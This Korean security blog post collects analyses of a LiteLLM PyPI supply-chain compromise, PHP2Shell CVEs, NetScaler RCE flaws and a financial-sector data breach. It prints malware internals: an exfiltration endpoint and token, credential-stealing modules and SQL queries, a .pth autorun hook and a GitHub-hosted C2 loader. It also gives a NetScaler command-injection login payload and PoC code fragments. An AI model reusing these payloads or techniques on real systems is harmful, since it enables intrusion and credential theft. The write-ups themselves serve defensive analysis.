꼰머의 보안공부

1. 개요

- 26.10.21 LiteLLM의 PyPI 배포본 1.107.0에서 인증 정보를 탈취하고 원격 코드 실행 백도어 발견

- LiteLLM을 직접 불러오지 않아도 Python 시작 시 악성코드 실행되어 인증 정보를 탈취하고 외부 서버로 전송

- PyPI는 1.107.0 버전을 삭제하였으며, 인증정보 노출 가능성을 전제로 모든 인증정보를 교체하는 등의 조치 필요

2. 상세내용

- LiteLLM이 공개한 영향 범위 배포 경로별 정리

2.1 공격 체인

① 관리자 키 노출

- LiteLLM Agent Platform 관리자 키(LAP 키)가 포함된 opencode.json이 공개 저장소 LiteLLM-Labs/lite-harness 에 커밋

② GitHub OAuth Token 및 CI Secret 탈취

- 공격자가 노출된 LAP 키를 이용해 Agent Platform API 연속 호출
> GET /api/v1/managed_agents/agents?limit=100
> 응답에 포함된 GitHub 조직 소유자 2명 중 1명의 GitHub CLI OAuth 토큰 탈취

- 탈취한 조직 소유자 토큰으로 BerriAI/litellm 및 BerriAI/litellm-auto 저장소에서 임시 Workflow 생성
> GH_TOKEN, RELEASE_PLEASE_TOKEN 등 인증정보 외부 전송 및 Workflow 실행 기록 삭제
> GH_TOKEN에는 두 번째 Maintainer의 GitHub CLI OAuth 토큰이 포함
> RELEASE_PLEASE_TOKEN에는 세 번째 Maintainer의 GitHub CLI OAuth 토큰이 포함

- 추가 비공개 저장소에서 Workflow 실행
> Repository Secret 및 기타 인증정보를 동일한 외부 엔드포인트로 전송

③ 릴리스 파이프라인 변조 및 악성 패키지 배포

- BerriAI/project-releaser 저장소의 릴리스 Workflow를 수정하는 커밋 9cf97e9 작성

> source_owner 입력을 추가하여 공격자 Fork 저장소를 빌드 소스로 지정

> Branch Protection에 의해 최초 Push가 거부
> 조직 소유자 OAuth Token으로 Branch Protection을 우회하여 변경 사항 반영

- 공격자 조직 Berri-AI/litellm의 커밋 20535d8f를 소스로 Staging 및 Production Workflow 실행
> 두 번째 Maintainer Token으로 Production Gate 승인

> 악성 litellm==1.107.0 Wheel 7개를 PyPI에 배포, Docker Hub 및 GHCR에 악성 컨테이너 이미지 게시

④ 공격 흔적 제거 및 은폐

- 탈취한 Maintainer Token으로 Production 및 Staging Workflow 실행 기록 삭제
- Revert 커밋 285fbdc5를 Push하여 악성 Workflow 변경 사항 되돌리기 시도
- Force Push를 통해 main 브랜치를 이전 커밋 d687b69로 복구

> 공개 Git 이력에서 악성 변경 및 Revert 커밋 제거

⑤ 침해대응 시작

- LiteLLM 공식 침해 대응 시작 및 PyPI 악성 패키지 격리
- GHCR 및 Docker Hub 악성 이미지 태그 제거 또는 무효화
- 릴리스 Workflow 침해 확인 후 GitHub 권한 회수

- 공식 침해 공지 게시 및 근본 원인 분석 보고서 공개

2.2 악성 패키지 실행 및 정보 탈취

- 악성 파일 구성 및 역할

- pyproject.toml 파일에 "data=cook" 설정을 추가해 cook/ 폴더를 wheel 파일 내의 `litellm-1.107.0.data/purelib/` 경로로 복사

> 이후 `pip`을 통해 설치하면 해당 폴더가 `site-packages` 디렉토리로 복사

[tool.maturin]
...
python-source = "."
data = "cook"                     # <-- injected
python-packages = ["litellm_cli"] # legitimate (present upstream)

① cook.pth

- Python이 실행될 때 `site-packages` 디렉토리에 있는 `.pth` 파일 내에서 `import`로 시작하는 모든 줄을 실행

> cook.pth 파일에는 import cook이 포함되어 있어, cook.py를 호출

> 따라서, LiteLLM을 직접 불러오지 않아도 Python 시작 시 악성코드가 자동 실행

import cook

② cook.py

- 실제 정보 수집 코드가 Base64 및 Zlib 압축 형태로 작성되어 있음

PC_URL       = 'http://www.litellm.dev/healthcheck'
PC_TOKEN     = 'XWiA8gZNa7NcX2XRoAEb'          # sent as X-Token header
PC_PUBKEY    = '-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxRBQMVXDXVskKS47haU ...'  # RSA-4096
PC_ONCE_PATH = '/tmp/.pc_once_72129118c59f5636c0bb'
PC_ASYNC     = True                              # runs in a daemon thread
PC_MODULES   = ['sysinfo','netinfo','browser_pw','browser_hist','ssh_keys',
                'shell_hist','cloud_creds','dev_secrets','container_creds',
                'cicd_secrets','ai_devtools','env_vars','db_litellm',
                'cloud_metadata','gpg_keys','tls_privkey']

- 수집된 데이터는 JSON 형태로 직렬화되어 AES-256-CBC 키로 암호화 및 AES 키는 내장된 RSA 공개 키를 이용해 OAEP 방으로 암호화

- 특정 모듈은 DATABASE_URL이 구성된 LiteLLM 배포 환경을 대상으로 SQL 쿼리를 실행

SELECT "credential_name", "credential_values"
FROM "LiteLLM_CredentialsTable" LIMIT 500; -- LLM 공급자 API Key 등 저장된 인증정보

SELECT "model_name", "litellm_params"
FROM "LiteLLM_ProxyModelTable" LIMIT 500; -- 모델 이름 및 공급자 연결 설정 정보

- 고정 헤더 X-Token: XWiA8gZNa7NcX2XRoAEb를 포함하여 'www.litellm[.]dev/healthcheck`로 POST 요청 전송

> hdr.json (암호화 관련 메타데이터, 대상 및 시간 정보)

> data.bin (IV 및 AES로 암호화된 수집 데이터)

> key.bin (RSA 공개키로 암호화된 AES 키)

> 업로드 성공 시 /tmp/.pc_once_72129118c59f5636c0bb 파일을 생성해 호스트당 한 번만 데이터를 수집

> 또한, PRIVCOLLECT_ACTIVE=1을 설정하여 동일한 프로세스에서 중복 실행되는 것을 방지

POST /healthcheck HTTP/1.1
Host: www.litellm.dev
Content-Type: application/octet-stream
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0)
X-SHA256: <SHA-256 of encrypted tar body>
X-Token: XWiA8gZNa7NcX2XRoAEb

③ sitecustomize.py

- Python 시작 시 자동으로 가져오는 sitecustomize를 이용해 백도어 실행 및 원격 코드 다운로드·실행 시도

> 1시간 간격으로 공격자의 GitHub 저장소에서 domain.txt 파일을 조회해 C2 주소를 받아옴

> 확보한 C2에 /codepy 경로를 추가하여 Python 코드 요청 및 실행 결과 반환

> /tmp/remote_code_loader.lock을 이용해 동일 호스트에서 중복 실행 방지

GITHUB_RAW_URL = "https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt"
CODE_PATH      = "/codepy"
LOOP_INTERVAL  = 3600
LOCK_FILE      = "/tmp/remote_code_loader.lock"

3. 대응방안

4. 참고

[1] https://docs.litellm.ai/blog/security-incident-oct-21-2026#overview
[2] https://docs.litellm.ai/blog/security-incident-oct-21-2026-attack-chain
[3] https://socket.dev/blog/litellm-compromise
[4] https://safedep.io/blog/litellm-pypi-compromise-credential-stealer-backdoor
[5] https://www.microsoft.com/en-us/security/blog/2026/10/23/inside-the-litellm-1-107-0-supply-chain-compromise-credential-theft-through-python-startup-hooks/
[6] https://opensourcemalware.com/blog/litellm-1-107-0-pypi-wheel-contains-a-credential-stealer-and-persistent-python-backdoor
[7] https://www.skshieldus.com/security-insights/trends/daily-litellm-1-107-0-supply-chain-compromise
[8] https://news.hada.io/topic?id=35767
[9] https://www.boannews.com/news/articleView.html?idxno=146624

1. 개요

- PHP 엔진 자체에서 인증되지 않은 공격자가 원격으로 코드를 실행할 수 있는 2가지 취약점 PHP2Shell (CVE-2026-109618, CVE-2026-109619) 발견
- 두 결함은 서버의 메모리 처리 과정에서 발생하며, 인증되지 않은 공격자가 해당 서버에서 코드를 실행하거나, 메모리에서 다른 요청 또는 서버 자체의 암호, 인증 토큰, API 등 민감 데이터 탈취, 웹 사이트 변조가 가능
- PHP 개발팀은 10월 21일 보안 업데이트를 공개하였고, 전체 웹사이트의 70% 이상이 PHP를 활용하고 있어 신속한 업데이트 또는 보안 조치 적용 필요

2. 취약점

- 공개된 취약점은 요청 처리 중 발생하는 메모리 부족 오류를 PHP가 처리하는 방식에서 비롯됨 [1]~[12]
- PHP의 Zend는 PHP 소스 코드를 바이트코드로 컴파일 및 실행하며, 변수·배열·객체·메모리 할당 등을 관리
> PHP에서 치명적 오류가 발생하면, zend_bailout()이 LONGJMP()를 수행해 현재 C 함수 호출 스택에서 벗어남
> 이때, 오류 발생 전 변경된 상태가 복귀되거나 초기화되지 않아 일부 메모리가 유효한 상태로 남게됨

// Zend/zend.c [13]
ZEND_API ZEND_COLD ZEND_NORETURN void _zend_bailout(const char *filename, uint32_t lineno)
{
   ...
   CG(unclean_shutdown) = 1;
   ...
   LONGJMP(*EG(bailout), FAILURE);
}

2.1 CVE-2026-109618

- PHP가 메모리 부족(OOM, Out Of Memory)으로 요청 처리를 중단하는 과정에서 내부 요청 데이터가 부분적으로만 초기화되어, 후속 요청이 이를 유효한 데이터로 처리하여 메모리 손상 및 원격 코드 실행으로 이어지는 취약점 (CVSS: 9.2) [14][15]

영향받는 버전
- PHP 8.2 < 8.2.35
- PHP 8.3 < 8.3.36
- PHP 8.4 < 8.4.27
- PHP 8.5 < 8.5.12

- PHP가 요청 데이터를 배열 항목에 추가할 때, 항목 수를 먼저 증가시킨 뒤, 키를 저장할 메모리 할당
> 이때, 메모리 할당이 memory_limit을 초과하면 치명적 오류가 발생하고, zend_bailout()을 통해 실행 흐름이 중단
> 그 결과, 배열은 항목이 추가되었다고 기록되며, 해당 항목의 값에는 메모리 값이 남게됨

// Zend/zend_hash.c [16]
add_to_hash:
   idx = ht->nNumUsed++;
   ht->nNumOfElements++;
   p = ht->arData + idx;
   p->key = key = zend_string_init(str, len, GC_FLAGS(ht) & IS_ARRAY_PERSISTENT);

관련 버그 ① 업로드 진행률 역직렬화기의 Use-After-Free

- PHP Session 모듈은 업로드 진행률을 처리하는 동안 세션 데이터를 디코딩하고, 요청의 관리 정보를 BG(unserialize)에 저장
> 메모리 할당 실패로 처리가 중단되면 요청 힙이 해제된 후에도 역직렬화기의 전역 상태가 남을 수 있음
> 이후 동일한 워커의 후속 요청이 해당 상태를 유효한 관리 정보로 취급하면, 이미 해제된 메모리에 접근하는 Use-After-Free 발생

관련 버그 ② 원격 프로세스 메모리 정보 노출

- PHP는 정상 모듈 초기화가 완료되기 전 RFC 1867 Multipart 요청을 파싱하고, 업로드 진행률 처리는 이 단계에서 Session 상태를 초기화하고 Session ID를 PS(id)에 저장할 수 있음
> 메모리 부족 오류로 정리 작업이 중단되어 힙이 해제되어도 PS(id)가 해제된 메모리를 가리키는 상태로 남을 수 있음
> 동일한 워커의 후속 Multipart 요청이 Session 초기화 전 업로드 진행률 정리 단계가 먼저 실행되면, PHP는 오래된 포인터와 길이를 유효한 zend_string으로 신뢰
> 재사용된 힙 내용을 URL 인코딩하여 PHPSESSID 응답 쿠키에 담으면서 메모리가 유출

2.2 CVE-2026-109619

- PHP가 치명적 오류로 실행을 중단한 뒤 요청 메모리를 해제하더라도 전역 상태가 이전 메모리 주소를 계속 참조해, 이후 요청에서 해제된 메모리를 재사용하는 Use-After-Free가 발생하고 원격 코드 실행으로 이어지는 취약점 (CVSS: 9.2) [17][18]

영향받는 버전
- PHP 8.2 < 8.2.35
- PHP 8.3 < 8.3.36
- PHP 8.4 < 8.4.27
- PHP 8.5 < 8.5.12

관련 버그 ① 치명적 오류 백트레이스의 Use-After-Free

- PHP는 가장 최근에 발생한 치명적 오류의 백트레이스를 EG(last_fatal_error_backtrace)에 보관
> 치명적인 메모리 부족 오류가 요청 힙이 파괴되는 동안 이 값이 적절히 초기화되지 않으면, 워커는 이전 요청의 메모리를 가리키는 포인터를 보유한 채 계속 실행됨
> 동일한 워커가 다음 요청 초기에 진단 메시지를 출력하면, 실행기가 해당 상태를 재초기화하기 전에 오래된 포인터에 접근할 수 있음
> 이때 PHP가 백트레이스를 파괴하거나 갱신하는 과정에서 공격자가 재사용한 메모리를 따라가면 요청 간 Use-After-Free가 발생하고, 제어 가능한 메모리 손상으로 발전할 수 있음

관련 버그 ② OPcache 타입 혼동

- OPcache는 컴파일된 PHP 구조체를 공유 메모리에 보관하며, 워커별 런타임 포인터 맵을 통해 해당 구조체에 접근
> zend_accel_script_persist()는 프로세스 로컬의 CG(map_ptr_last) 경계값을 먼저 증가시키고, 영속화가 완료된 뒤 공유 경계값을 갱신함
> 두 작업 사이에 메모리 할당 실패가 발생하면 부분적으로 영속화된 객체는 공유 상태에서 여전히 사용 가능한 것으로 인식
> 이후 다른 워커가 해당 슬롯을 다른 런타임 객체에 재사용하면, 오래된 공유 메타데이터가 잘못된 타입의 포인터를 가리키며 워커 간 타입 혼동과 공유 OPcache 상태 손상을 일으킴

3. 대응방안

 - 벤더사 제공 보안 업데이트 적용 [19][20][21]
> 점검 스크립트 또는 무료 점검 도구 활용 [22][23]

- WAF 탐지룰 설정
> 요청 본문에 PHP_SESSION_UPLOAD_PROGRESS 문자열이 들어 있는 요청
※ 서버에서 session.upload_progress.name을 변경한 경우 변경한 이름으로 적용
> 대괄호가 깊게 중첩된 필드 이름(a[b][c][d]...)
> filename=""인 빈 업로드 파트가 대량으로 들어 있는 multipart 요청

- 임시 완화 방안 [23]
> session.auto_start = On인 서버는 session.upload_progress.enabled를 꺼도 취약한 것으로 파악

> 웹 서버 설정

- 침해 여부 확인

4. 참고

[1] https://www.php2shell.com/
[2] https://www.wiz.io/blog/php2shell-php-rce
[3] https://openai.com/ko-KR/index/coordinated-disclosure-of-critical-vulnerabilities/
[4] https://calif.io/php2shell/
[5] https://thephp.foundation/blog/2026/10/21/todays-php-security-release-and-how-were-strengthening-php-security/
[6] https://www.akamai.com/blog/security-research/critical-remote-code-execution-vulnerabilities-php-core
[7] https://www.imperva.com/blog/php2shell-vulnerability-updates/
[8] https://blog.cloudflare.com/php-vulnerabilities-waf-protection/
[9] https://corelight.com/blog/php2shell-detection-before-disclosure
[10] https://www.crowdstrike.com/en-us/blog/crowdstrike-protects-customers-from-php-rce-zero-days/
[11] https://unit42.paloaltonetworks.com/cve-2026-109618-cve-2026-109619/
[12] https://blog.talosintelligence.com/two-critical-rces-in-php-core/
[13] https://github.com/php/php-src/blob/php-8.5.11/Zend/zend.c#L1256
[14] https://nvd.nist.gov/vuln/detail/cve-2026-109618
[15] https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w
[16] https://github.com/php/php-src/blob/php-8.5.11/Zend/zend_hash.c#L881
[17] https://nvd.nist.gov/vuln/detail/cve-2026-109619
[18] https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp
[19] https://www.php.net/archive/2026.php#2026-10-21-5
[20] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=72227
[21] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=72230
[22] https://stealien.com/php2shell
[23] https://xint.io/ko/blog/php2shell-vulnerability-emergency-response
[24] https://www.boannews.com/news/articleView.html?idxno=146621
[25] https://www.boannews.com/news/articleView.html?idxno=146628
[26] https://www.boannews.com/news/articleView.html?idxno=146633
[27] https://www.boannews.com/news/articleView.html?idxno=146632
[28] https://www.boannews.com/news/articleView.html?idxno=146653
[29] https://www.boannews.com/news/articleView.html?idxno=146664
[30] https://www.dailysecu.com/news/articleView.html?idxno=208978
[31] https://www.dailysecu.com/news/articleView.html?idxno=208979
[32] https://www.dailysecu.com/news/articleView.html?idxno=208985
[33] https://www.dailysecu.com/news/articleView.html?idxno=208986
[34] https://www.dailysecu.com/news/articleView.html?idxno=208998
[35] https://news.hada.io/topic?id=35761

1. CVE-2026-88771

- 로그 파일에서 추출한 문자열을 적절히 검증하지 않아 원격에서 인증되지 않은 공격자가 임의 명령을 실행할 수 있는 원격 코드 실행 취약점 (CVSS: 9.5) [1][2]
> 해당 취약점은 모든 NetScaler ADC 및 NetScaler Gateway의 기본 구성 환경 전체에 영향을 미치므로 신속한 업데이트 적용 권고

영향받는 버전
- NetScaler ADC 및 Gateway 14.1 : 14.1-73.37 미만 버전
- NetScaler ADC 및 Gateway 13.1 : 13.1-64.23 미만 버전
- NetScaler ADC FIPS 14.1 : 14.1-73.37 FIPS 미만 버전
- NetScaler ADC FIPS 및 NDcPP 13.1 : 13.1-37.279 미만 버전

- ns_monuploadd_err.pl이 로그를 읽고 파일 검색 명령을 구성

# /netscaler/ns_monuploadd_err.pl
my $WR_PPE_COREFILE_NAME = `grep -E -i "pitboss.*PPE.*missed too many heartbeats|pitboss.*PPE.*unexpectedly died" @WR_FILES |\
-tail -1 | sed -e 's!.*NSPPE!NSPPE!g' -e 's!(!!g' -e 's!)!!g' | awk '{ print \$1"-"\$2 }'`; # [1]

chomp($WR_PPE_COREFILE_NAME);
my $WR_PPE_CORE = `find $OFF_DIR/var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1`;

- 위 명령 실행 결과로 문자열 NSPPE-01-45678이 출력되며, 해당 출력을 NSPPE 코어 파일인지, 숫자 형태의 프로세스 ID인지 검증하지 않고 다음 명령의 실행 인자로 전달
> 공격자 제어 문자열이 에러 로그에 기록되고, ns_monuploadd_err.pl이 로그를 읽어 임의 명령 실행 가능

[요청 예시]
POST /nf/auth/doAuthentication.do HTTP/1.1
Host: netscaler-aaa-server
Content-Type: application/x-www-form-urlencoded

login=<@urlencode_all>pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X</@urlencode_all>&passwd=x&savecredentials=false&nsg-x1-logon-button=Log+On

[응답 예시]
HTTP/1.1 200 OK
Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self'; img-src <http://localhost>:* 'self' data:; style-src 'self' 'unsafe-inline'; font-src 'self' data:; frame-src 'self'; child-src 'self' com.citrix.agmacepa://* citrixng://* com.citrix.nsgclient://* vmware-view:// nsgcepa://nsgcepa application://*; form-action  'self'; object-src 'none'; base-uri 'self'; report-uri /nscsp_violation/report_uri
Set-Cookie: NSC_DLGE=yyyyyyy;Secure;HttpOnly;Path=/
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 2253
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/vnd.citrix.authenticateresponse-1+xml; charset=utf-8
X-Citrix-Application: Receiver for Web

<AuthenticateResponse xmlns="<http://citrix.com/authentication/response/1>"><Status>success</Status><Result>update-credentials</Result><StateContext>ctx_hintYYYYYYY</StateContext><AuthenticationRequirements><PostBack>/nf/auth/doCredentialUpdate.do</PostBack><CancelPostBack>/nf/auth/doCancelCredentialUpdate.do</CancelPostBack><CancelButtonText>Cancel</CancelButtonText><Requirements><Requirement><Credential><Type>none</Type></Credential><Label><Text>nsg_changepass</Text><Type>nsg-login-heading</Type></Label><Input/></Requirement><Requirement><Credential><SaveID>login</SaveID><ID>username</ID><Type>username</Type></Credential><Label><Text>nsg_username</Text><Type>nsg-login-label</Type></Label><Input><Text><ReadOnly>true</ReadOnly><InitialValue>pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/helloxxxx`;# X</InitialValue></Text></Input></Requirement><Requirement><Credential><ID>oldpwd</ID><Type>password</Type></Credential><Label><Text>nsg_oldpass</Text><Type>nsg-login-label</Type></Label><Input><Text><Secret>true</Secret><Constraint>.+</Constraint></Text></Input></Requirement><Requirement><Credential><SaveID>passwd</SaveID><ID>newpwd</ID><Type>newpassword</Type></Credential><Label><Text>nsg_newpass</Text><Type>nsg-login-label</Type></Label><Input><Text><Secret>true</Secret><Constraint>.+</Constraint></Text></Input></Requirement><Requirement><Credential><ID>confirmedpwd</ID><Type>newpassword</Type></Credential><Label><Text>nsg_confirmpass</Text><Type>nsg-login-label</Type></Label><Input><Text><Secret>true</Secret><Constraint>.+</Constraint></Text></Input></Requirement><Requirement><Credential><Type>none</Type></Credential><Label><Text></Text><Type>nsg-change-pass-assistive-text</Type></Label><Input/></Requirement><Requirement><Credential><ID>ns-dialogue-submit</ID><Type>none</Type></Credential><Input><Button>Submit</Button></Input></Requirement></Requirements></AuthenticationRequirements></AuthenticateResponse>

- 공개된 PoC는 /nf/auth/doAuthentication.do URL로 HTTP Body에 pitboss PPE unexpectedly died NSPPE;{악성명령};# X을 담은 POST 요청 전송 [3]

login_payload = f"pitboss PPE unexpectedly died NSPPE;{args.command};# X" ; #Pat & Mat
encoded_login = urllib.parse.quote(login_payload, safe='') ;
url = args.target.rstrip('/') + "/nf/auth/doAuthentication.do"

try:
 response = requests.post(url, data=body, headers=headers, timeout=15, verify=False)

- 패치 분석
> 정규식으로 예상 형식 검증 : “NSPPE-” 문자열 뒤 정확히 두 자리 숫자와 숫자로 이루어진 PID로만 조합
> 인자들을 분리해 find 명령 실행 : 명령과 인자가 분리되므로 셸 문법으로 해석되는 위험을 줄임
> 검색 결과 경로 검증 : 검색 결과 경로가 허용된 문자 집합으로만 구성되어 있는지 확인

my $WR_PPE_COREFILE_NAME = "";
my $CORE_RE = qr/pitboss.*(NSPPE-\d{2})\s*\((\d+)\).*(missed too many heartbeats|unexpectedly died)/;
for my $log (@WR_FILES) {
    open my $fh, '<', $log or next;
    while (my $line = <$fh>) {
        $WR_PPE_COREFILE_NAME = "$1-$2" if $line =~ $CORE_RE;
    }
    close $fh;
}

my $WR_PPE_CORE = "";
if (open my $find, '-|', 'find', "$OFF_DIR/var/core", '-type', 'f',
    '(', '-name', $WR_PPE_COREFILE_NAME,
    '-o', '-name', "$WR_PPE_COREFILE_NAME.gz", ')')
{
    while (my $found = <$find>) {
        chomp $found;
        if ($found =~ /\A[A-Za-z0-9\/\-.]+\z/) {
            $WR_PPE_CORE = $found;
        }
    }
    close $find;
}

2. CVE-2026-88772

- DTLS(Datagram Transport Layer Security) 기능이 활성화된 경우, DTLS 핸드셰이크 메시지를 재조립하는 과정에서 NSB(NetScaler Buffer) 체인의 데이터를 고정 크기 버퍼로 복사할 때, 복사할 데이터의 길이를 적절히 검증하지 않아 임의 코드 실행 또는 서비스 거부를 유발할 수 있는 취약점 (CVSS: 9.5)
> DTLS(Datagram Transport Layer Security)는 UDP 환경에서 TLS와 유사한 보안 기능을 제공하는 프로토콜

영향받는 버전
- NetScaler ADC 및 Gateway 14.1 : 14.1-73.37 미만 버전
- NetScaler ADC 및 Gateway 13.1 : 13.1-64.23 미만 버전
- NetScaler ADC FIPS 14.1 : 14.1-73.37 FIPS 미만 버전
- NetScaler ADC FIPS 및 NDcPP 13.1 : 13.1-37.279 미만 버전

- NetScaler는 수신한 DTLS 패킷을 NSB(NetScaler Buffer)라는 버퍼 객체에 저장하며, 여러 버퍼를 연결한 뒤 하나의 연속된 35,840 바이트의 Scratch Buffer로 복사
> 해당 과정에서 복사 대상 데이터가 버퍼의 남은 공간에 들어가는지 확인하지 않고 복사하여 임의 코드 실행 또는 서비스 거부 유발 가능

- 공개된 PoC는 length=120, fragment_length=1, fragment_offset=0~119로 구성한 비정상 핸드셰이크 레코드 120개를 전송하여, 서버의 NSB 체인 처리 과정에서 고정 크기 Scratch Buffer의 경계 검증 누락 유발 [5]

# 비정상 핸드셰이크 헤더 생성
def handshake_header(handshake_type, total_length, message_sequence,
                     fragment_offset, fragment_length):
    return (
        bytes([handshake_type])
        + total_length.to_bytes(3, "big")
        + message_sequence.to_bytes(2, "big")
        + fragment_offset.to_bytes(3, "big")
        + fragment_length.to_bytes(3, "big")
    )

# 비정상 핸드셰이크 레코드 구성
def malicious_record(index, patches):
    primary = (
        handshake_header(0x10, LOGICAL_SIZE, 2, index, 1)
        + bytes(PHYSICAL_PRIMARY_SIZE)
    )
    hidden = (
        handshake_header(0x10, HIDDEN_DECLARED_SIZE, 3, 0, HIDDEN_DECLARED_SIZE)
        + b"\xff" * HIDDEN_PAYLOAD_SIZE
    )
    payload = bytearray(primary + hidden)
    for body_offset, value in patches.get(index, {}).items():
        payload[body_offset] = value
    return record(bytes(payload), 2 + index)

- 패치 분석
> 전체 35,840 바이트에서 이미 복사된 바이트를 뺀 후 복사할 데이터가 해당 공간을 초과하면 처리 거부

--- nsppe-14.1-73.30
+++ nsppe-14.1-73.37
@@ DTLS NSB-chain copy loop @@
+0x143649d  mov    r15d, 0x8c00                    // [1]
+0x14364a3  sub    r15d, eax                       // [2]

 0x14364b0  movzx  edx, word ptr [r14 + 0xf2]     // next NSB size
+0x14364b8  cmp    r15d, edx                       // [3]
+0x14364bb  jb     reject_oversized_chain          // [4]

 0x14364cc  mov    rsi, qword ptr [r14 + 0xe8]    // source bytes
 0x14364d3  mov    rdi, rbx                        // scratch-buffer position
 0x14364d6  call   memcpy                          // [5]
 0x14364e3  add    rbx, rax                        // move output position
+0x14364e6  sub    r15d, eax                       // [6]

3. 대응방안

- 벤더사 제공 업데이트 적용 [6][7]
> 해당 패치에서 두 가지 취약점을 포함한 총 8개의 취약점을 패치

※ 함께 패치된 취약점

4. 참고

[1] https://nvd.nist.gov/vuln/detail/cve-2026-88771
[2] https://labs.watchtowr.com/oh-look-the-foot-gun-went-off-again-citrix-netscaler-preauth-command-injection-cve-2026-88771/
[3] https://github.com/watchtowrlabs/watchTowr-vs-Citrix-Netscaler-CVE-2026-88771?ref=labs.watchtowr.com
[4] https://nvd.nist.gov/vuln/detail/cve-2026-88772
[5] https://github.com/watchtowrlabs/watchTowr-vs-Citrix-Netscaler-CVE-2026-88772?ref=labs.watchtowr.com
[6] https://support.citrix.com/external/article/CTX697096/citrix-netscaler-adc-and-citrix-netscale.html
[7] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=72201
[8] https://nvd.nist.gov/vuln/detail/cve-2026-88773
[9] https://nvd.nist.gov/vuln/detail/cve-2026-88774
[10] https://nvd.nist.gov/vuln/detail/cve-2026-88775
[11] https://nvd.nist.gov/vuln/detail/cve-2026-88776
[12] https://nvd.nist.gov/vuln/detail/cve-2026-88777
[13] https://nvd.nist.gov/vuln/detail/cve-2026-88778

보안 뉴스

[1] https://blog.google/security/chromes-response-to-recent-cctld-registry-hijacks/
[2] https://www.dailysecu.com/news/articleView.html?idxno=208795
[3] https://www.boannews.com/news/articleView.html?idxno=146250

1. 개요

- 2026년 9월 말부터 10월 초 국내 금융권 대상 연쇄적 개인정보 유출 사고가 발생하여, 총 7개 금융사에서 약 6만 6,000여 명의 개인정보 및 법인 정보 약 2,200건 유출

- 공격자는 핵심 시스템인 코어뱅킹 시스템보다 상대적으로 보안 관리가 취약한 주변 시스템*을 공격 대상으로 삼음

* 직원용 모바일 업무 지원 시스템, 대출 모집인 페이지, 영업 지원 시스템 등

- 오픈소스 AI 기반 자율 침투 테스트 프레임워크인 ARTEX와 여러 LLM을 활용하여 자산 탐색 및 취약점 검증 등 공격 과정의 자동화가 이루어짐

* AI가 새로운 공격 기법을 창출한 것이 아닌, 기존 공격 과정의 자동화 및 고도화해 속도와 규모를 증폭시킨 사례

- 공격자는 해외 임대 서버(VPS)와 상용 프록시, 국내 IP 등을 혼용하고, 위협 평판 데이터베이스에 등록되지 않은 IP를 활용하여 기존 IP 평판 기반 방어 체계 우회

- 객체 수준의 접근 통제 강화, 외부 노출 자산 식별, Shadow IT 제거, 비정상적인 API 호출 탐지, 공통 솔루션의 취약점 점검, AI 기반 공격을 고려한 지속적 보안 검증이 필요 [1]~[11]

2. 주요 내용

2.1 사고 개요

- 공격자는 상대적으로 보안이 취약한 주변 시스템을 통해 민감정보에 접근 [1]~[11]

2.2 피해 범위

- 총 7개 금융사에서 약 6만 6,000여 명의 개인정보 및 법인 정보 약 2,200건 유출

> 우리은행과 NH농협은행도 공격을 받았으나 정보 유출은 없었으며, 접근 경로와 인증 방식의 차이가 침해사고 여부를 가름 [12]

※ 우리은행의 경우 대출모집인이 접수한 대출 건을 지정한 태블릿에서만 확인 가능하고, 접속 시 별도 인증서와 생체인증 요구
※ NH농협은행의 경우 대출모집인에게 내부망 접속 권한이나 별도의 업무시스템을 제공하지 않고, 모집인이 유치한 대출 건을 영업점으로 넘기면 이후 절차를 은행 내부에서 처리

2.3 근본 원인 (Root Cause)

2.3.1 주변 시스템 관리 미흡

- 금융기관은 코어뱅킹 시스템에 높은 수준의 보안 통제를 적용하지만, 고객 정보를 처리하는 주변 업무 시스템은 상대적으로 관리가 소홀할 수 있음
- 공격자는 대출모집인 시스템, 임직원 복지·지원 서비스, 영업 지원 플랫폼 등 통제와 관리 우선순위에서 밀려난 외부 노출 자산의 공격 표면을 노림
- 주변 시스템이 내부 고객 정보 데이터베이스나 업무 API에 접근할 수 있는 경우, 해당 시스템의 보안 결함이 고객 정보 유출로 이어질 수 있음

2.3.2 Credential Stuffing

- 공격자는 다크웹 등을 통해 다른 서비스에서 유출된 계정 정보를 확보한 뒤, 금융기관의 로그인 시스템에 자동으로 대입하여 계정 접근 시도
- 동일하거나 유사한 계정 정보를 여러 서비스에서 사용하는 경우, 공격 성공 가능성 증가
- 로그인 시도 제한, 계정 잠금, MFA 등의 통제가 충분하지 않으면 계정이 탈취될 수 있음

2.3.3 API 인가(Authorization) 검증 미흡

- Credential Stuffing으로 계정을 탈취한 후, 고객 번호를 조작해 일반 고객용 조회 서비스 API에 반복적인 요청을 전송
- API 요청 과정에서 요청자의 인증(Authentication) 여부만 확인하고, 요청한 고객 정보에 접근할 권한이 있는지 서버단에서 인가(Authorization)절차가 제대로 수행되지 않음

※ 인증(Authentication) : 시스템에 접근하려는 사용자의 신원(Identity)을 확인하는 과정
※ 인가(Authorization) : 인증된 사용자가 특정 자원이나 기능에 접근할 수 있는 권한이 있는지 확인하고 부여하는 과정 

BOLA (Broken Object Level Authorization, 객체 수준 권한 부여 오류) [38]
- OWASP Top 10 API Security Risks – 2023 기준 1순위 위협에 해당
- API 요청에 포함된 객체 식별자(ID 등)를 임의로 조작해 다른 사용자의 데이터에 무단으로 접근해 데이터 조회, 수정, 삭제할 수 있는 취약점
